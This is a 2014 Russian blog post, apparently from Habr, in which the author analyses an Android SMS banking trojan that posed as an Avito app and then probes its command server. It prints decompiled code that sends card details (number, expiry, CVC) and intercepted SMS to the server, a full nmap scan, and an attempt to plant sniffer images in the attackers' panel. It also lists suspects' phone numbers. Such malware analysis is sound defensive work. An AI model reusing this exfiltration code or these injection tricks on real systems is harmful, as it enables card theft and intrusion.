habrahabr

Как я позорно деактивировал ботнет

  • четверг, 28 августа 2014 г. в 03:11:07
http://habrahabr.ru/post/234663/

image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.

Дальнейшее исследование


В СМС пришла коротка ссылка, которая развернулась в ссылку на сервер i-avito.com. Просканировав этот сервер через nmap, я получил еще один домен deskdistributor.com, который был в title на 443-порту.
Результат сканирования nmap
Starting Nmap 6.47 ( nmap.org ) at 2014-08-25 17:17 MSK
NSE: Loaded 118 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 17:17
Scanning i-avito.com (91.237.198.115) [2 ports]
Completed Ping Scan at 17:17, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:17
Completed Parallel DNS resolution of 1 host. at 17:17, 0.00s elapsed
Initiating Connect Scan at 17:17
Scanning i-avito.com (91.237.198.115) [1000 ports]
Discovered open port 22/tcp on 91.237.198.115
Discovered open port 993/tcp on 91.237.198.115
Discovered open port 80/tcp on 91.237.198.115
Discovered open port 3306/tcp on 91.237.198.115
Discovered open port 143/tcp on 91.237.198.115
Discovered open port 110/tcp on 91.237.198.115
Discovered open port 21/tcp on 91.237.198.115
Discovered open port 53/tcp on 91.237.198.115
Discovered open port 25/tcp on 91.237.198.115
Discovered open port 443/tcp on 91.237.198.115
Discovered open port 587/tcp on 91.237.198.115
Discovered open port 995/tcp on 91.237.198.115
Discovered open port 2222/tcp on 91.237.198.115
Completed Connect Scan at 17:17, 3.42s elapsed (1000 total ports)
Initiating Service scan at 17:17
Scanning 13 services on i-avito.com (91.237.198.115)
Completed Service scan at 17:17, 19.97s elapsed (13 services on 1 host)
NSE: Script scanning 91.237.198.115.
Initiating NSE at 17:17
Completed NSE at 17:18, 19.50s elapsed
Nmap scan report for i-avito.com (91.237.198.115)
Host is up (0.094s latency).
Not shown: 987 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.4b
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey:
| 1024 59:e1:13:d2:a5:e5:bd:50:27:b7:08:8e:d7:42:8d:24 (DSA)
| 2048 c3:23:b1:6e:fd:ce:b5:76:5d:2b:32:8a:47:61:d7:44 (RSA)
|_ 256 c4:36:5f:c3:31:1d:e1:60:70:b2:4e:9b:8e:3e:d1:79 (ECDSA)
25/tcp open smtp Exim smtpd 4.76
| smtp-commands: s.ee Hello i-avito.com [95.215.45.33], SIZE 20971520, PIPELINING, AUTH PLAIN LOGIN, STARTTLS, HELP,
|_ Commands supported: AUTH STARTTLS HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
| ssl-cert: Subject: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=GB
| Issuer: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=GB
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2011-07-19T08:56:59+00:00
| Not valid after: 2038-12-03T08:56:59+00:00
| MD5: 7ca0 14bc e517 e437 b49c aca7 17cc fbc6
|_SHA-1: 77bc fd19 856a a562 f719 604a 0461 2093 b012 5405
|_ssl-date: 2014-08-25T13:18:58+00:00; +1m10s from local time.
53/tcp open domain
| dns-nsid:
|_ bind.version: 9.8.2rc1-RedHat-9.8.2-0.23.rc1.el6_5.1
80/tcp open http Apache httpd 2
|_http-methods: No Allow or Public header in OPTIONS response (status code 302)
| http-title: 404 Not Found
|_Requested resource was 91.237.198.115/avito.apk
110/tcp open pop3 Dovecot DirectAdmin pop3d
|_pop3-capabilities: UIDL RESP-CODES USER AUTH-RESP-CODE TOP SASL(PLAIN) CAPA PIPELINING STLS
143/tcp open imap Dovecot imapd
|_imap-capabilities: post-login have LOGIN-REFERRALS ENABLE ID IDLE IMAP4rev1 Pre-login more AUTH=PLAINA0001 LITERAL+ OK SASL-IR capabilities listed STARTTLS
443/tcp open ssl/http Apache httpd 2
|_http-methods: OPTIONS GET HEAD POST
|_http-title: Secured Home of deskdistributor.com
| ssl-cert: Subject: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=US
| Issuer: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=US
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2014-06-27T11:21:26+00:00
| Not valid after: 2041-11-11T11:21:26+00:00
| MD5: 5987 e508 bab7 b23c 16a7 2822 53f5 2ae2
|_SHA-1: d6f2 1c00 dcea f10c c049 02ed 2058 0376 619d eb60
|_ssl-date: 2014-08-25T13:18:57+00:00; +1m09s from local time.
587/tcp open smtp Exim smtpd 4.76
| smtp-commands: s.ee Hello i-avito.com [95.215.45.33], SIZE 20971520, PIPELINING, AUTH PLAIN LOGIN, STARTTLS, HELP,
|_ Commands supported: AUTH STARTTLS HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
| ssl-cert: Subject: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=GB
| Issuer: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=GB
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2011-07-19T08:56:59+00:00
| Not valid after: 2038-12-03T08:56:59+00:00
| MD5: 7ca0 14bc e517 e437 b49c aca7 17cc fbc6
|_SHA-1: 77bc fd19 856a a562 f719 604a 0461 2093 b012 5405
|_ssl-date: 2014-08-25T13:18:57+00:00; +1m10s from local time.
993/tcp open ssl/imap Dovecot DirectAdmin imapd
|_imap-capabilities: have LOGIN-REFERRALS ENABLE ID IDLE IMAP4rev1 Pre-login more AUTH=PLAINA0001 LITERAL+ post-login SASL-IR capabilities listed OK
| ssl-cert: Subject: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=GB
| Issuer: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=GB
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2011-07-19T08:56:59+00:00
| Not valid after: 2038-12-03T08:56:59+00:00
| MD5: 7ca0 14bc e517 e437 b49c aca7 17cc fbc6
|_SHA-1: 77bc fd19 856a a562 f719 604a 0461 2093 b012 5405
|_ssl-date: 2014-08-25T13:18:57+00:00; +1m10s from local time.
995/tcp open ssl/pop3 Dovecot DirectAdmin pop3d
|_pop3-capabilities: AUTH-RESP-CODE SASL(PLAIN) CAPA TOP UIDL RESP-CODES PIPELINING USER
| ssl-cert: Subject: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=GB
| Issuer: commonName=localhost/organizationName=none/stateOrProvinceName=Someprovince/countryName=GB
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2011-07-19T08:56:59+00:00
| Not valid after: 2038-12-03T08:56:59+00:00
| MD5: 7ca0 14bc e517 e437 b49c aca7 17cc fbc6
|_SHA-1: 77bc fd19 856a a562 f719 604a 0461 2093 b012 5405
|_ssl-date: 2014-08-25T13:18:57+00:00; +1m09s from local time.
2222/tcp open http DirectAdmin httpd 1.33.6 (Registered to superb)
|_http-favicon: Unknown favicon MD5: 3AE13A3A9C0634B29A2667DCFFC69D87
|_http-methods: No Allow or Public header in OPTIONS response (status code 404)
|_http-title: DirectAdmin Login
3306/tcp open mysql MySQL 5.5.31
| mysql-info:
| Protocol: 53
| Version: .5.31
| Thread ID: 63436701
| Capabilities flags: 63487
| Some Capabilities: SupportsLoadDataLocal, Speaks41ProtocolNew, Speaks41ProtocolOld, SupportsTransactions, ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, FoundRows, SupportsCompression, DontAllowDatabaseTableColumn, InteractiveClient, Support41Auth, ODBCClient, IgnoreSigpipes, LongPassword, LongColumnFlag
| Status: Autocommit
|_ Salt: ![,d7#H«o.2Q»T^^?]9B
Service Info: Host: s.ee; OS: Unix

NSE: Script Post-scanning.
Initiating NSE at 17:18
Completed NSE at 17:18, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 43.49 seconds

Быстрый поиск в интернете дал еще несколько доменов: m-avito.com, m-avito.net (176.119.3.51), m-avito.info (91.237.198.115), а поискав по whois-данным, нашел еще один подозрительный домен 1host.name (94.242.227.67), который представляет из себя скорее заглушку, нежели информационный сайт. Сам вирус обращается к домену jewelrycover.com (91.237.198.124), который, вероятно, был либо перекуплен, либо администратор ботнета завладел им с помощью фишинга.

После исследования pcap-файлов, полученных из sandbox'ов и собственноручно, я обнаружил полную ссылку на CnC и формат получаемых и отправляемых на сервер данных. Мобильное устройство с каким-то временным интервалом обращалось на скрипт get.php, каждый раз передавая свой ID, созданный путем подсчитывания MD5-хеша от IMEI, страны, названия телефонного оператора, версии Android и модели телефона, а в ответ либо получало, либо не получало команду. Если устройством была получена какая-то команда, на сервер отправлялось уведомление по адресу set_result.php с ID устройства и названием команды. Скрипту load_sms.php отправлялись все входящие СМС.

На момент исследования вируса, он был настроен на похищение денег клиентов Сбербанка с использованием мобильного СМС-банкинга, и только один раз я получал от сервера команду на отправку ссылки на вирус первому попавшемуся адресу из адресной книги устройства.

Первым делом, сервер посылал команду rent&&&, чтобы получать все приходящие на устройство СМС-сообщения. Затем отправлялось сообщение ИНФО на номер 900 — номер мобильного банка Сбербанка. На сервер передавалась информация о картах клиента. Затем, сервер отправялял команду sent&&& с запросом баланса о каждой карте. Далее отправлялась команда либо на перевод денег на счет сбербанка (8000 рублей), либо на пополнение счета абонентам МТС (3000 рублей).

В целом, происходило то, что было описано в недавней статье про способ воровства денег клиентов Сбербанка, но автоматизированно.
Другие команды сервер не посылал. Если сервер получал ответ на запрос ИНФО, что обладатель устройства не является клиентом Сбербанка, дальнейших ответов от сервера не поступало.
Пример общения с сервером
image
image
image
image
image


Веселье


Я написал небольшой скрипт, который эмулирует поведение бота. И как-то в голову закралась мысль, что, с большой вероятностью, в панели администратора имеются уязвимости. Никаких SQL-инъекций мне найти не удалось, и я решил вставлять картинку-сниффер во все передаваемые значения: в имя оператора, в название модели устройства, в уведомление о выполненной команде, в текст смс, ну вы поняли. Ничего не происходило.

Я запустил скрипты в цикле с целью собрать побольше номеров телефонов злоумышленников.
Номера злоумышленников
Номера Сбербанка:
9687792866 8000
9050391955 8000
9061153023 8000
9663455177 8000
9050253473 8000
9672215694 8000
9663455125 8000
9663455180 8000
9050384603 8000
9687792852 8000


Номера МТС:
9877251451 3000
9877251519 3000
9877298049 3000
9877299230 3000
9877298819 3000
9877298775 3000
9818915169 3000
9877299466 3000
9117187631 3000
9877251259 3000
9873389680 3000
9198360569 3000
9873389735 3000
9873389737 3000
9873389766 3000
9877251151 3000
9198227849 3000
9877251169 3000
9877251851 3000
9877251136 3000
9877251226 3000
9877251227 3000
9877154758 3000
9877154761 3000
9877154752 3000
9877154756 3000
9818895780 3000
9818742776 3000
9818740837 3000
9818770491 3000
9877154765 3000
9877154825 3000
9818742764 3000
9877154773 3000
9818894379 3000
9818770342 3000
9818770523 3000

Я продолжал сканирование серверов и поиск уязвимостей. Нашлись phpmyadmin и squirrelmail, однако, уязвимостей в них найти не удалось. И тут, совершенно случайно, сервер упал. Страницы не открывались, пинги не шли. Я открыл сниффер, и что же я вижу!?

image

Случилось это на два часа раньше отключения сервера. Если бы я мониторил сниффер чаще, я бы получил доступ к панели администратора, т.к. сниффер словил и referer, который вел на нее. Вероятнее всего, какие-то данные экранировались, а какие-то — нет, и администратор, увидев экранированные данные и поняв, что его IP скомпрометирован, решил ретироваться.

Так я позорно деактивировал ботнет. Можете официально меня гнобить и унижать.

P.S.


Номера мошенников переданы службе безопасности Сбербанка, IP-адрес передан службе безопасности Beeline, хостерам написаны abuse.
Сам троян, еще один, исходный код, pcap-файлы и результаты nmap бесплатно без смс.